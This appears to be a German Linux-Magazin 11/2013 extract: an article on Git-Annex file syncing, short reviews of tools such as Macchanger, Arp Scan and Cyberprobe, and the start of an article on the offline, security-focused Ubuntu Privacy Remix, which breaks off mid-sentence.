Assistant programmieren,<br />

das die Software für<br />

Endanwender bedienbar<br />

macht.<br />

Joey Hess beschreibt die<br />

beiden Zielgruppen der<br />

Software auf der Git-<br />

Annex-Homepage: Bob,<br />

den Archivar, und Alice,<br />

die Weltenbummlerin.<br />

Der Archivar kann mit<br />

dem Tool seine unzähligen<br />

Dateien in einem<br />

einzigen Verzeichnisbaum<br />

verwalten, obwohl<br />

sie auf mehrere Server<br />

und sogar ausgesteckte<br />

Wechselfestplatten verteilt<br />

sind. Für alle Fälle<br />

kann Git-Annex zur Sicherheit<br />

auch mehrere Kopien von jeder<br />

Datei anlegen.<br />

Alice dagegen ist stets mit Netbook und<br />

USB-Festplatte unterwegs, hat einen <strong>Web</strong>server<br />

sowie gemieteten Cloudspeicher.<br />

Git-Annex hilft ihr dabei, unterwegs an<br />

die richtigen Dateien zu kommen. Dazu<br />

reicht eine WLAN-Verbindung im Café,<br />

die Dateien beim Cloudanbieter legt sie<br />

automatisch verschlüsselt ab.<br />

Git plus Dateispeicher<br />

In beiden Szenarien profitieren die Anwender<br />

davon, dass Git Repositories<br />

dezentral ablegen und abgleichen kann.<br />

Das Versionskontrollsystem ist allerdings<br />

zum Speichern vieler kleiner Quelltextdateien<br />

gedacht, bei großen Videofiles<br />

beispielsweise gibt es Performance- und<br />

Platzprobleme. Joeys Kniff: Git-Annex<br />

checkt nur die Metadaten zusammen mit<br />

einem symbolischen Link in Git ein, die<br />

Dateien bringt ein selbst geschriebenes<br />

Speicher-Backend im Verzeichnis ».git/<br />

annex/« unter.<br />

Git-Annex liefert Kommandozeilentools<br />

mit, die für technische Anwender rasch<br />

zu erlernen sind, vor allem wenn sie Git<br />

kennen. Die folgenden Befehle machen<br />

das Verzeichnis »~/​annex« zu einem Git-<br />

Annex-Repository namens »Mein PC«:<br />

cd ~/annex<br />

git init<br />

git annex init "Mein PC"<br />

Bevor der Anwender nun Dateien im Verzeichnis<br />

ablegen kann, versetzt er es mit<br />

»git annex direct« in den so genannten direkten<br />

Modus. Nur in diesem darf er auf<br />

die Dateien zugreifen [3]. Standardmäßig<br />

befinden sich Repositories im Modus »indirect«.<br />

Dann liegen alle Daten unterhalb<br />

des versteckten ».git/«.<br />

Wer seinem Dateispeicher ein weiteres<br />

Repository hinzufügen will, etwa einen<br />

USB-Stick, führt die Kommandos in<br />

Listing 1 aus. Sie legen auf dem Stick<br />

Installation<br />

Da Git-Annex von einem Debian-Mitarbeiter<br />

stammt, gibt es stets ein aktuelles Paket im<br />

Unstable-Zweig (Sid). Für die stabile Debian-<br />

Version oder andere Distributionen besteht<br />

die einfachste Installationsmethode darin,<br />

die vorkompilierten Binärarchive zu verwenden.<br />

Der Entwickler bietet sie stets aktualisiert<br />

unter [2] zum Download an. Nach dem<br />

Entpacken muss man noch das entstandene<br />

Verzeichnis, etwa »~/bin/git‐annex.linux/«,<br />

seinem »PATH« hinzufügen.<br />

Das Installieren der in Haskell geschriebenen<br />

Software mit dem Paket-Tool Cabal bleibt geübten<br />

Programmierern dieser Sprache vorbehalten:<br />

Beim Test der Redaktion gab es nicht<br />

erfüllte Abhängigkeiten.


Git-Annex 11/2013<br />

Software<br />

www.linux-magazin.de<br />

59<br />

Abbildung 1: Der Assistant merkt automatisch, wenn es lokal neue Dateien gibt,<br />

und startet die Synchronisation mit den anderen Speicherorten.<br />

Abbildung 2: Ein Server mit SSH-Daemon lässt sich rasch in ein entferntes<br />

Repository mit Verschlüsselung verwandeln.<br />

das Repository an und verknüpfen die<br />

beiden Repositories: Jedes sieht das jeweils<br />

andere als Remote Repository, mit<br />

dem es sich abgleicht.<br />

Wie man nun Dateien hinzufügt und<br />

sie unter die Verwaltung von Git-Annex<br />

stellt, zeigt Listing 2. Der Befehl »git<br />

annex sync« veranlasst schließlich das<br />

Synchronisieren der Daten.<br />

Viel Zubehör<br />

Zu dieser grundlegenden Bedienung,<br />

die auf der Git-Annex-Homepage Schritt<br />

für Schritt beschrieben ist [4], gibt es<br />

zahlreiche Varianten und einiges Zubehör:<br />

Als Repositories unterstützt das<br />

Tool neben lokalen Verzeichnissen und<br />

Wechselmedien auch entfernte Server,<br />

sofern sie SSH-Zugriff bieten, Owncloud,<br />

die Onlinedienste Google Drive, Amazon<br />

S3, Box.com und Rsync.net. Für richtige<br />

Archivare stehen auch der Offlinespeicher<br />

Amazon Glacier und das öffentliche<br />

Archive.org zur Verfügung.<br />

Das Verschlüsseln erfolgt mit Gnu PG<br />

und verläuft standardmäßig mit einem<br />

automatisch lokal generierten Key. Auf<br />

Wunsch kann der Benutzer sie aber auch<br />

nach Gnu-PG-Sitte mit einem bestimmten<br />

öffentlichen Schlüssel vornehmen.<br />

Um die zunächst sehr technisch anmutende<br />

Software für jedermann zugänglich<br />

zu machen, schrieb Joey Hess den<br />

Git-Annex-Assistant. Dieser verwendet<br />

einen lokalen <strong>Web</strong>server, um dem Anwender<br />

eine zeitgemäße <strong>Web</strong>oberfläche<br />

im Browser zu bieten. Dabei braucht er<br />

auf keine Annehmlichkeit zu verzichten:<br />

Über die Inotify-Schnittstelle des<br />

<strong>Linux</strong>-Kernels merkt der Assistant zum<br />

Beispiel, wenn sich Dateien geändert haben,<br />

und stößt die Synchronisation an<br />

(Abbildung 1). Schon beim Anlegen des<br />

ersten Repository unterstützt das GUI<br />

den User und versetzt es automatisch in<br />

den »direct«-Modus. Auch das Einrichten<br />

von Remote Repositories (Abbildung 2)<br />

macht ein <strong>Web</strong>formular leicht.<br />

Die umfangreiche Dokumentation auf<br />

der Projekt-Homepage erklärt zahlreiche<br />

Konfigurationsoptionen und gibt Empfehlungen<br />

für einzelne Einsatzszenarien.<br />

Beispielsweise kann man den einzelnen<br />

Repositories bestimmte Rollen zuweisen<br />

[5]: Ein »client« enthält die Dateien, auf<br />

die der Benutzer bei seiner Arbeit zugreift,<br />

»transfer« eignet sich für Server<br />

oder Wechselmedien, die ausschließlich<br />

zum Datenaustausch dienen, »backup«<br />

dagegen bewahrt alles auf.<br />

Trotzdem besteht Joey Hess darauf, dass<br />

Git-Annex keine Backup-Software im<br />

eigentlichen Sinne sei – sie besitze die<br />

Backup-Features eher nebenbei. Mit geeigneten<br />

Optionen kann man sogar dafür<br />

sorgen, dass Git-Annex ausschließlich<br />

MP3-Dateien unter 100 MByte auf den<br />

Player schaufelt. In einem Screencast [6]<br />

zeigt der Programmautor einige der Einstellungen<br />

im Assistant.<br />

Ausblick<br />

Joey hat mittlerweile eine zweite Crowdfunding-Kampagne<br />

[7] gestartet, die<br />

ihm bereits vor dem Ende der Aktion<br />

die Finanzierung für ein weiteres Jahr<br />

Entwicklungsarbeit beschert hat. Ab September<br />

2013 möchte er unter anderem<br />

den begonnenen Windows-Port verbessern,<br />

Verschlüsselung für entfernte Git-<br />

Repositories umsetzen und zumindest für<br />

bestimmte Situationen Disaster Recovery<br />

im Assistant implementieren [8]. Daneben<br />

dürfen auch die Sponsoren der Kampagne<br />

ihre Wünsche äußern. n<br />

Infos<br />

[1] Git-Annex:<br />

[http:// git‐annex. branchable. com]<br />

[2] Installation:<br />

[http:// git‐annex. branchable. com/ install/]<br />

[3] Direct Mode: [http:// git‐annex. branchable.​<br />

com/ direct_mode/]<br />

[4] Walkthrough: [http:// git‐annex. branchable.​<br />

com/ walkthrough/]<br />

[5] Preferred Content: [http:// git‐annex.​<br />

branchable. com/ preferred_content/]<br />

[6] Archival Walkthrough:<br />

[http:// git‐annex. branchable. com/​<br />

assistant/ archival_walkthrough/]<br />

[7] Zweite Crowdfunding-Kampagne:<br />

[https:// campaign. joeyh. name]<br />

[8] Roadmap: [http:// git‐annex. branchable.​<br />

com/ design/ assistant/]<br />

Listing 1: Remote hinzufügen<br />

01 cd /media/stick<br />

02 git clone ~/annex<br />

03 cd annex<br />

04 git annex init "USB‐Stick"<br />

05 git remote add pc ~/annex<br />

06 cd ~/annex<br />

07 git remote add usb‐stick /media/stick/annex<br />

Listing 2: Dateien hinzufügen<br />

01 cd ~/annex<br />

02 cp /tmp/Datei1 .<br />

03 cp /tmp/Datei2 .<br />

04 git annex add .<br />

05 git commit ‐a ‐m 'neue Dateien'


Software<br />

www.linux-magazin.de Tooltipps 11/2013<br />

60<br />

Werkzeuge im Kurztest<br />

Tooltipps<br />

Macchanger 1.6.0<br />

MAC-Adresse manipulieren<br />

Quelle: [https:// github. com/ alobbs/​<br />

macchanger]<br />

Lizenz: GPLv3<br />

Alternativen: Ifconfig, Ip<br />

Codesh 2.0.1<br />

Shellsessions mitschneiden<br />

Quelle: [http:// sourceforge. net/ projects/​<br />

codesh]<br />

Lizenz: GPLv2<br />

Alternativen: Script<br />

Enc 0.2<br />

Enc-FS bequem verwalten<br />

Quelle: [https:// bitbucket. org/ erlcash/ enc]<br />

Lizenz: GPLv3<br />

Alternativen: Gnome Enc-FS-Manager<br />

Die 48 Bit lange MAC-Adresse vergibt<br />

der Hardwarehersteller; sie ist weltweit<br />

eindeutig. Das Tool Macchanger erlaubt<br />

es Anwendern, die Hardware-Adresse bis<br />

zum nächsten Bootvorgang zu verändern<br />

und beispielsweise eine MAC eines anderen<br />

Herstellers zuzuweisen.<br />

Mit »‐s Interface« aufgerufen gibt das Tool<br />

die MAC-Adresse der Schnittstelle aus.<br />

Dabei unterscheidet es zwischen der momentan<br />

gesetzten (»Current MAC«) und<br />

der in der Hardware verankerten Adresse<br />

(»Permanent MAC«), im Normalfall sind<br />

beide identisch. Zum Verändern bietet<br />

Macchanger mehrere Optionen. So sorgt<br />

»‐e« dafür, dass das Tool eine Adresse<br />

desselben Herstellers erhält, »‐a« setzt zusätzlich<br />

denselben Typ. Eine Liste aller<br />

bekannten Hersteller gibt der Parameter<br />

»‐l« aus.<br />

Der Schalter »‐r« wählt eine Adresse nach<br />

dem Zufallsprinzip aus. Wer hingegen<br />

eine ganz bestimmte MAC-Adresse benötigt,<br />

um etwa DHCP- oder Firewall-Einstellungen<br />

zu testen, der setzt diese mit<br />

»‐m«. Um die Änderungen auszuführen,<br />

brauchen Anwender Rootrechte und das<br />

Interface darf nicht aktiv sein.<br />

★★★★★ Macchanger ist ein nützliches<br />

Werkzeug zum Manipulieren von MAC-<br />

Adressen, was insbesondere dann hilfreich<br />

ist, wenn Benutzer MAC-sensitive<br />

Konfigurationen testen müssen. n<br />

Codesh (Collaborative Development Shell)<br />

ist eine intelligente Shell für Anwender,<br />

Sysadmins und Entwickler, sie speichert<br />

alle Benutzereingaben, Meldungen von<br />

Skripten und Programmen, Änderungen<br />

an Variablen sowie Aliasdefinitionen einer<br />

Session. Seine Aufzeichnungen legt<br />

das Python-Tool in einem lokalen CVS-,<br />

Subversion- oder Ascii-Repository ab. Die<br />

Ablage umfasst jeweils die Logs der Shellsitzung<br />

und Snapshots, welche die vollständige<br />

Verzeichnisstruktur ausgehend<br />

vom Arbeitsordner enthalten.<br />

Vor dem ersten Codesh-Einsatz erstellen<br />

Nutzer zuerst ein Repository und nehmen<br />

dazu eines der drei enthaltenen Shellskripte<br />

zur Hilfe. Ist der Verwahrungsort<br />

definiert, dann setzt »codesh_init.sh« die<br />

Pfade und Umgebungsvariablen entsprechend.<br />

Jetzt ist das Python-Programm<br />

»codesh.py« an der Reihe. Anwender<br />

passen beim Aufruf die Codesh-Konfiguration<br />

an oder übernehmen die Standardeinstellungen.<br />

Danach verhält sich Codesh wie viele andere<br />

Umgebungen. Über »?« geben Nutzer<br />

eine Liste aller Befehle aus, [Strg]+[D]<br />

beendet die Sitzung.<br />

★★★★★ Codesh protokolliert zuverlässig<br />

Shellsitzungen und bewahrt sie in<br />

Repositories auf. So erreichen Anwender<br />

jederzeit alte Sessions und reproduzieren<br />

bestimmte Arbeitsschritte.<br />

n<br />

Enc-FS baut auf dem Fuse-Framework<br />

auf und verschlüsselt keine ganzen Dateisysteme,<br />

sondern einzelne Verzeichnisse.<br />

Das Shellskript Enc unterstützt Anwender<br />

dabei auf der Kommandozeile; Voraussetzung<br />

sind Enc-FS und »encfsctl«<br />

ab Version 1.7.4.<br />

Die verschlüsselten Daten verwaltet Enc<br />

in so genannten Stashes. Deren Bezeichner<br />

müssen eindeutig sein; sie sind jeweils<br />

einem Verzeichnis zugeordnet. Mit<br />

dem Kommando »enc add«, gefolgt vom<br />

Stash-Namen und dem Ordner, erstellt<br />

das Tool einen neuen. Danach ruft der Benutzer<br />

»enc« zusammen mit dem Stash-<br />

Namen auf und gibt ein Passwort für das<br />

verschlüsselte Verzeichnis an. Weitere<br />

Optionen hängen existierende Stashes<br />

ins Dateisystem ein und wieder aus, ändern<br />

das Kennwort und komprimieren die<br />

verschlüsselten Daten. Ohne Parameter<br />

aufgerufen listet Enc alle Optionen und<br />

die konfigurierten Stashes auf.<br />

Enc bietet die Modi Standard, Paranoid<br />

und Experte an. Während letzterer alle<br />

Einstellungen detailliert abfragt (AES-<br />

Schlüssellänge, Blockgröße und so weiter),<br />

unterscheiden sich Standard und<br />

Paranoid vor allem durch die verwendete<br />

Schlüsselgröße (192 versus 256 Bit).<br />

★★★★★ Enc ist noch ein junges Projekt,<br />

bietet aber jetzt schon alle wichtigen<br />

Funktionen zum Verwalten von Enc-FS-<br />

Verzeichnissen.<br />

n


Software<br />

www.linux-magazin.de Tooltipps 11/2013<br />

62<br />

Arp Scan 1.9<br />

Nach MAC-Adressen scannen<br />

Quelle: [https:// github. com/ royhills/​<br />

arp‐scan]<br />

Lizenz: GPLv3<br />

Alternativen: Arping, Arp Tools<br />

Palaver (August 2013)<br />

Spracherkennung und ‐steuerung<br />

Quelle: [https:// github. com/ JamezQ/​<br />

Palaver]<br />

Lizenz: GPLv3<br />

Alternativen: Blather, Simon<br />

Cyberprobe 0.20<br />

Netzwerke verteilt überwachen<br />

Quelle: [http:// cyberprobe. sourceforge. net]<br />

Lizenz: GPLv3<br />

Alternativen: Dabba<br />

Netzwerkscanner stellen fest, welche<br />

Dienste oder Rechner sich in einem<br />

Netzwerk befinden und welche davon<br />

erreichbar sind. Die meisten dieser Tools<br />

arbeiten auf IP-Basis und damit auf OSI-<br />

Level 3. Arp Scan nutzt Level 2, sendet<br />

ARP-Anfragen zu den Zielen und erfordert<br />

daher Rootrechte. ARP ist auf IPv4<br />

beschränkt, IPv6 nutzt NDP.<br />

Anwender rufen das Tool zusammen mit<br />

der IP-Adresse des Zielrechners auf und<br />

erhalten als Antwort die MAC-Adresse,<br />

den Netzwerkkarten-Hersteller und eine<br />

Auskunft, wie viele Pakete unterwegs<br />

verloren gingen. Optional nimmt »‐‐file«<br />

eine Datei mit einer Liste von Zielen entgegen.<br />

In Kombination mit »‐‐random«<br />

arbeitet Arp Scan die Aufstellung nach<br />

dem Zufallsprinzip ab.<br />

Wer nur das lokale Netz scannen möchte,<br />

der verwendet »‐‐localnet«. Mit »‐‐retry«<br />

legt man fest, wie oft das Tool einen<br />

Rechner prüft. Die Parameter »‐‐timeout«<br />

und »‐‐bandwith« bestimmen, wann ein<br />

Scanversuch als erfolglos gilt oder wie<br />

viel Bandbreite Arp Scan nutzt.<br />

Zusätzlich enthalten die Quellen das<br />

Werkzeug »arp‐fingerprint«, das Anwender<br />

ebenfalls zusammen mit einer<br />

IP-Adresse aufrufen. Es prüft mit einer<br />

Reihe von ARP-Paketen das Verhalten des<br />

Zielrechners und versucht diesen anhand<br />

eines Fingerprints zu identifizieren. Da<br />

einige Betriebssysteme einen identischen<br />

Fingerprint haben, ist das Ergebnis allerdings<br />

nicht ganz genau.<br />

★★★★★ Wer mit den ARP-Einstellungen<br />

experimentieren und sein Netzwerk austesten<br />

möchte, der sollte Arp Scan eine<br />

Chance geben. Manpage und Wiki liefern<br />

zahlreiche Anregungen.<br />

n<br />

Die Sprachsteuerung mit dem schönen<br />

Namen Palaver lauscht am Mikrofoneingang<br />

und sendet das aufgenommene<br />

Audiomaterial an Googles Speech-API,<br />

das für die Spracherkennung zuständig<br />

ist. Das Python-Tool setzt daher eine Internetverbindung<br />

und das Vertrauen in<br />

den Suchmaschinenbetreiber voraus. Um<br />

Palaver zu starten, übersetzt der Anwender<br />

zunächst mit »./setup« eine native<br />

C-Bibliothek. Danach legt er in den Tastatur-Einstellungen<br />

einen Shortcut fest,<br />

der das Skript »hotkey« aufruft.<br />

Den zurückgelieferten Text interpretiert<br />

es als Befehl. So öffnet beispielsweise<br />

»goto google« die Google-Homepage im<br />

Browser. Beginnt der Befehl mit »type«,<br />

fügt Palaver die nachfolgend gesprochenen<br />

Wörter als Text in das gerade geöffnete<br />

Programm ein. Da diese jedoch<br />

immer erst nach der Analyse auf dem<br />

Bildschirm erscheinen, taugt das Tool nur<br />

zur Eingabe von kurzen Texten. Im Unterverzeichnis<br />

»Recognition/bin« liegen<br />

für alle bekannten Sprachkommandos<br />

passende Shellskripte, die den Befehl<br />

umsetzen.<br />

Derzeit erkennt das Tool nur englische<br />

Wörter und Kommandos. Um eine optimale<br />

Zusammenarbeit zu erreichen,<br />

muss das Mikrofon die Sprache unverzerrt<br />

wiedergeben. Anwender sollten darüber<br />

hinaus deutlich und möglichst ohne<br />

Dialekt sprechen. Mit Plugins können<br />

Programmierer Palaver um zusätzliche<br />

Funktionen erweitern. Zukünftig sollen<br />

auch Benutzer eigene Befehle hinzufügen<br />

dürfen.<br />

★★★★★ Palaver merkt man sein junges<br />

Entwicklungsstadium an. Wer Google<br />

vertraut, der kann mit dem Tool aber<br />

schon jetzt kurze Texte einsprechen und<br />

schnell Befehle übermitteln. n<br />

Ursprünglich als Analysetool für Netzwerk-Applikationen<br />

geplant, eignet sich<br />

Cyberprobe inzwischen ebenfalls dazu,<br />

Netzwerkstrukturen zu überwachen. Anwender<br />

setzen das Programm verteilt auf<br />

belie bigen Systemen ein. Die erfassten<br />

Daten leitet es an eine zentrale Stelle<br />

weiter.<br />

Die Konfiguration erfolgt im XML-Format;<br />

eine Einrichtungsdatei im Quellarchiv<br />

kann als eigene Vorlage dienen. Im<br />

»interface«-Block definiert der Anwender,<br />

welche Schnittstellen das Tool überwacht.<br />

Im Bereich »target« stehen die<br />

IP-Adressen von Hosts, deren Datenverkehr<br />

Cyberprobe mitschneiden soll; die<br />

Angabe voll qualifizierter Domainnamen<br />

(FQDN) ist hier nicht möglich.<br />

Zur Weiterbearbeitung reicht das Tool<br />

die gesammelten Daten an ein externes<br />

Programm wie Tcpdump weiter. Das darf<br />

auch auf einem entfernten System passieren.<br />

Dazu legt der Nutzer im »endpoint«-<br />

Block ein Zielsystem fest und gibt dazu<br />

die Adresse, den Port und das Übertragungsprotokoll<br />

an.<br />

Wer möchte, der erweitert die Konfiguration<br />

um einen »control«-Abschnitt,<br />

der administrativen Telnet-Zugriff auf<br />

Cyberprobe und Anpassungen während<br />

des Betriebs erlaubt. Wahlweise ist eine<br />

Interaktion mit dem IDS-Tool Snort möglich.<br />

Das Quick-Start-Tutorial auf der Projektseite<br />

enthält einige gut kommentierte<br />

Konfigurationsbeispiele.<br />

★★★★★ Cyberprobe eignet sich gut<br />

dazu, die Netzwerkstruktur im Auge<br />

zu behalten. Neuere Versionen enthalten<br />

eine LUA-Schnittstelle. Auf dem<br />

Testsystem (Ubuntu 13.04) verweigerte<br />

diese jedoch den Dienst. (U. Vollbracht,<br />

T. Schürmann/​hej) n


Software<br />

www.linux-magazin.de Ubuntu Privacy Remix 11/2013<br />

64<br />

Ubuntu für Sicherheitsbewusste<br />

Erlösende Einsamkeit<br />

Um den Rechner vor Spionen und Kriminellen zu schützen, bricht Ubuntu Privacy Remix alle Brücken ins Internet<br />

ab und verwandelt den Computer in eine Insel der Sicherheit. Wer zurück in die Zivilisation will, dem<br />

dienen ein USB-Stick und etwas Geduld als Floß. Kristian Kißling<br />

strahlung von Monitoren. Auch das passt<br />

zu Bruce Schneiers Feststellung [1]: „Was<br />

ich beim Lesen der Snowden-Dokumente<br />

lernte ist: Wenn die NSA auf eure Rechner<br />

will, kommt sie auch drauf. Punkt.“<br />

Feature Count<br />

© Iakov Kalinin, 123RF.com<br />

Das Ausmaß der weltweiten Überwachung<br />

schockt selbst erfahrenere Paranoiker.<br />

Doch was tun, um besonders sensible<br />

Daten zu schützen? Den Aufwand für die<br />

Geheimdienste so teuer wie möglich machen,<br />

empfiehlt Security-Experte Bruce<br />

Schneier [1]. Der Tipp hilft natürlich auch<br />

gegen Angreifer mit kriminellen Interessen,<br />

die ebenso eine Menge Geschick an<br />

den Tag legen können, um an die Daten<br />

fremder Rechner zu gelangen.<br />

Gegen beide Gruppen stellt sich Ubuntu<br />

Privacy Remix (UPR, [2]), dessen Feature-Beschreibungen<br />

noch vor einigen<br />

Monaten bei breiten Teilen der Computernutzer<br />

für viel Heiterkeit gesorgt<br />

hätten: kein Zugang zum Internet, keine<br />

Installationsmöglichkeit und auch kein<br />

Zugriff auf die Festplatte!<br />

Schaut man sich das seit 2008 existierende<br />

Projekt heute an, kommt einem<br />

vieles gar nicht mehr so absurd vor.<br />

Denn was hilft Festplattenverschlüsselung,<br />

wenn die Spyware auf diversen<br />

Routen, über Downloads, Zero-Day-Exploits<br />

oder Router-Backdoors auf dem<br />

Rechner landet? Ohne Schreibzugriff auf<br />

die Festplatte lässt sich Malware schon<br />

mal bedeutend schwerer installieren, der<br />

fehlende Internetzugang tut ein Übriges.<br />

Um dennoch Dateien zu speichern, bietet<br />

Ubuntu Privacy Remix 12.04, das sich<br />

aktuell noch im Betastadium befindet,<br />

eine USB-Stick-Lösung auf Basis von<br />

True crypt [3] an.<br />

Die Macher der Distribution behaupten<br />

nicht, dass ihr System alle Security-<br />

Probleme löst: Zu den Risikoszenarien<br />

zählen sie manipulierte Hardware, auf<br />

der von UPR unbemerkt ein Hypervisor<br />

oder Hardware-Keylogger läuft. Die Installation<br />

würde immerhin physischen<br />

Zugriff auf den Rechner erfordern. Hat<br />

der Angreifer den Speicherstick, könnte<br />

er auch schwache Passwörter von Truecrypt-Containern<br />

ausnutzen.<br />

Vor allem aber hilft UPR nicht gegen Angriffe,<br />

die mit IT eher wenig zu tun haben:<br />

versteckte Kameras, das Abhören von<br />

Funktastaturen und Auslesen der Aus-<br />

Ohne Internetzugang und Festplattenzugriff<br />

werden einfache Dinge kompliziert:<br />

UPR wird standardmäßig auf eine DVD<br />

gebrannt und im Live-Betrieb genutzt<br />

und lässt sich daher nicht ohne Weiteres<br />

erweitern, etwa um neue Software. Wer<br />

mit dem Software-Angebot von Ubuntu<br />

Privacy Remix nicht zufrieden ist, muss<br />

sich seine Version selbst basteln. Das Projekt<br />

bietet Hilfestellung, indem es eine<br />

entsprechende Vorlage auf der <strong>Web</strong>seite<br />

anbietet [4]. Das Mastern einer eigenen<br />

UPR-Version erfordert aber einen nicht<br />

geringen zeitlichen Aufwand.<br />

Doch das Basissystem bringt schon eine<br />

Menge nützlicher Tools mit. Die aktuelle<br />

Beta stützt sich auf Ubuntu 12.04.2<br />

UPR auf USB-Stick<br />

Dem Anfertigen eines bootbaren USB-Sticks<br />

stellten sich im Test kleine Hindernisse in den<br />

Weg. Ubuntus Startmedien-Ersteller versagte<br />

gegen Ende mit einer Fehlermeldung, was<br />

sich wohl auf einen Bug in der Software zurückführen<br />

lässt. Unetbootin erzeugte zwar<br />

ein bootfähiges System, jedoch mit eigenem<br />

Bootmenü. Hier fanden die Tester keine Möglichkeit,<br />

Keyboard und Benutzeroberfläche<br />

auf Deutsch zu lokalisieren, was die Arbeit<br />

mit dem Betriebssystem deutlich erschwert<br />

hätte. Erst der simple Zweizeiler<br />

dd if=upr‐12.04r1beta1.iso of=/dev/sdX U<br />

bs=512K<br />

sync<br />

führte zum Ziel, der Stick ließ sich booten.


Abbildung 1: Mit Hilfe eines Skripts lassen sich die Checksummen der Dateien von UPR überprüfen.<br />

LTS mit Gnome-Classic-Desktop und<br />

Kernel 3.5. Abweichend vom Sortiment<br />

des regulären Ubuntu 12.04 nimmt UPR<br />

12.04rc1 Libre Office 4.0 ebenso an Bord<br />

wie Scribus 1.4.2. Die fertige Version soll<br />

dann auf Ubuntu 12.04.3 basieren und<br />

den Kernel in Version 3.8, Gimp 2.8 sowie<br />

Libre Office 4.1 mitbringen.<br />

Sammeln sich viele Daten im erweiterten<br />

Truecrypt-Container, soll zudem ein<br />

neues Suchwerkzeug das bislang eingesetzte<br />

Beagle ablösen, um dessen Inhalte<br />

zu durchforsten. Weitere Passagiere sind<br />

die Sammlungsverwaltung Tellico, der<br />

Mind-Mapper Vym, die Projektverwaltung<br />

Planner, der Videoplayer Totem, die<br />

Brennsoftware Brasero, Virtualbox und<br />

noch einige nützliche Tools mehr.<br />

Um gegen Versuche vorzugehen, den Arbeitsspeicher<br />

auszulesen, will das Projekt<br />

die Memory-Erasure-Funktion aus<br />

dem Tails-Projekt [5] übernehmen. Die<br />

löscht beim Herunterfahren mit Hilfe von<br />

»sdmem« den größtmöglichen Teil der<br />

Daten im Arbeitsspeicher und verhindert<br />

so Cold-Boot-Angriffe, in deren Verlauf<br />

der Arbeitsspeicher tiefgekühlt und nachträglich<br />

ausgelesen wird.<br />

Bootstrap<br />

Zunächst gilt es, über eine HTTPS-Verbindung<br />

eine nicht kompromittierte Version<br />

des Image [6] sowie eine zugehörige<br />

Signaturdatei herunterzuladen. Das<br />

Image ist mit dem PGP-Schlüssel von<br />

Mark Preetorius, dem Hauptentwickler<br />

des Projekts, signiert. Seine Unversehrtheit<br />

lässt sich überprüfen mit:<br />

gpg ‐‐verify upr‐12.04r1beta1.iso.sig U<br />

upr‐12.04r1beta1.iso<br />

Listing 1: »md5.sh«<br />

01 #!/bin/bash<br />

02 <br />

03 # Pfad zur DVD/USB‐Stick<br />

04 datapath=/media/user/UPR_12.04r1<br />

05 # Pfad zur Datei mit den MD5‐Summen<br />

06 md5datapath=/media/user/UPR_12.04r1/md5sum.txt<br />

07 <br />

08 data=$(grep "./*" ${md5datapath} | cut ‐d " "<br />

‐f 3)<br />

09 <br />

Meist genügt ein Brennprogramm wie<br />

Brasero oder K3b, um das Image auf eine<br />

DVD zu brennen. Wer einen USB-Stick<br />

verwenden möchte, büßt einen der Vorteile<br />

ein: Ein Stick ist beschreibbar und<br />

lässt sich so manipulieren. Einige Sticks<br />

bieten zumindest die Möglichkeit, über<br />

einen Hardwareschalter einen Schreibschutz<br />

zu aktivieren, was der Ersteller<br />

nach dem Aufspielen des Image (siehe<br />

Kasten „UPR auf USB-Stick“) tun sollte.<br />

Vom Einsatz von SD-Karten raten die Entwickler<br />

ab, da der Schreibschutz nicht<br />

zuverlässig greife.<br />

Wer sichergehen will, dass die Dateien<br />

auf dem USB-Stick nicht manipuliert<br />

wurden, kann die im ISO selbst befindlichen<br />

MD5- und SHA1-Summen überprüfen.<br />

Eine Liste dieser Prüfsummen<br />

befindet sich im Wurzelverzeichnis der<br />

gebrannten DVD beziehungsweise des<br />

USB-Sticks. Das einfach gestrickte Skript<br />

aus Listing 1 extrahiert aus der Checksummendatei<br />

im Wurzelverzeichnis<br />

(»${md5datapath}«) zunächst die Pfade<br />

zu den einzelnen Dateien.<br />

Die For-Schleife bildet für alle Dateien<br />

in den Pfaden von »${data}« die MD5-<br />

Checksumme und schreibt die Ergebnisse<br />

in die neue Datei »md5sum_new.txt«.<br />

Sed entfernt den »${datapath}« aus allen<br />

Pfadangaben der neu erzeugten Datei.<br />

Letztere sollte nun der Datei »/media/<br />

work/UPR_12.04r1/md5sum.txt« aufs<br />

Haar gleichen – es sei denn, die Checksummen<br />

stimmen nicht überein. Um das<br />

zu prüfen, läuft am Ende des Skripts ein<br />

Diff über beide Dateien und gibt im Erfolgsfall<br />

die Meldung aus Abbildung 1<br />

aus. Mit ein paar Anpassungen lässt sich<br />

das gleiche Spielchen mit der »sha1sum.<br />

txt«-Datei wiederholen.<br />

Das alles hilft wenig, wenn das ganze<br />

Image durch eine manipulierte Variante<br />

ersetzt wurde. Daher sind auch die Dateien<br />

»md5sum.txt« und »sha1sum.txt«,<br />

10 for i in $data; do<br />

11 md5sum ${datapath}/$i >> ./md5sum_new.txt<br />

12 done<br />

13 <br />

14 sed ‐i 's/\/media\/user\/UPR_12\.04r1\///g'<br />

./md5sum_new.txt<br />

15<br />

16 diff ‐s md5sum_new.txt ${md5datapath}<br />

17 rm ./md5sum_new.txt<br />

Ubuntu Privacy Remix 11/2013<br />

Software<br />

www.linux-magazin.de<br />

65


Software<br />

www.linux-magazin.de Ubuntu Privacy Remix 11/2013<br />

66<br />

die die Checksummen auflisten, signiert<br />

und lassen sich aus dem Wurzelverzeichnis<br />

von UPR heraus über den Public Key<br />

des Hauptentwicklers verifizieren:<br />

gpg ‐‐verify sha1sum.txt.sig sha1sum.txt<br />

gpg ‐‐verify md5sum.txt.sig md5sum.txt<br />

Über den Fingerprint und eine Internetrecherche<br />

kann der Nutzer den Schlüssel<br />

des Entwicklers verifizieren.<br />

Datentresor<br />

Im Bootmenü von Ubuntu Privacy Remix<br />

– über [Esc] zu erreichen – gilt es<br />

nun, sich per [F3] zunächst für eine<br />

Sprache zu entscheiden. Standardmäßig<br />

erhält der Nutzer keine Rootrechte, kann<br />

sich diese aber zusichern, indem er [F6]<br />

drückt und die Kerneloption »godmode«<br />

ergänzt (Abbildung 2). Der Befehl »sudo<br />

su« beschert dem Nutzer dann Rootrechte<br />

ohne eine Passworteingabe.<br />

Wer Daten speichern will, braucht jedoch<br />

keine Rootrechte, er muss vielmehr<br />

als Nächstes einen erweiterten Truecrypt-Container<br />

auf einem zweiten USB-<br />

Stick anlegen. Dazu ruft der Nutzer den<br />

Menüpunkt »Anwendungen | Sicherheit |<br />

Truecrypt‐Container Assistent« auf, setzt<br />

ein Häkchen bei »Einen erweiterten Container<br />

erzeugen« und wählt dann »Eine<br />

Container‐Datei erzeugen«.<br />

Im nächsten Fenster klickt der Truecrypt-<br />

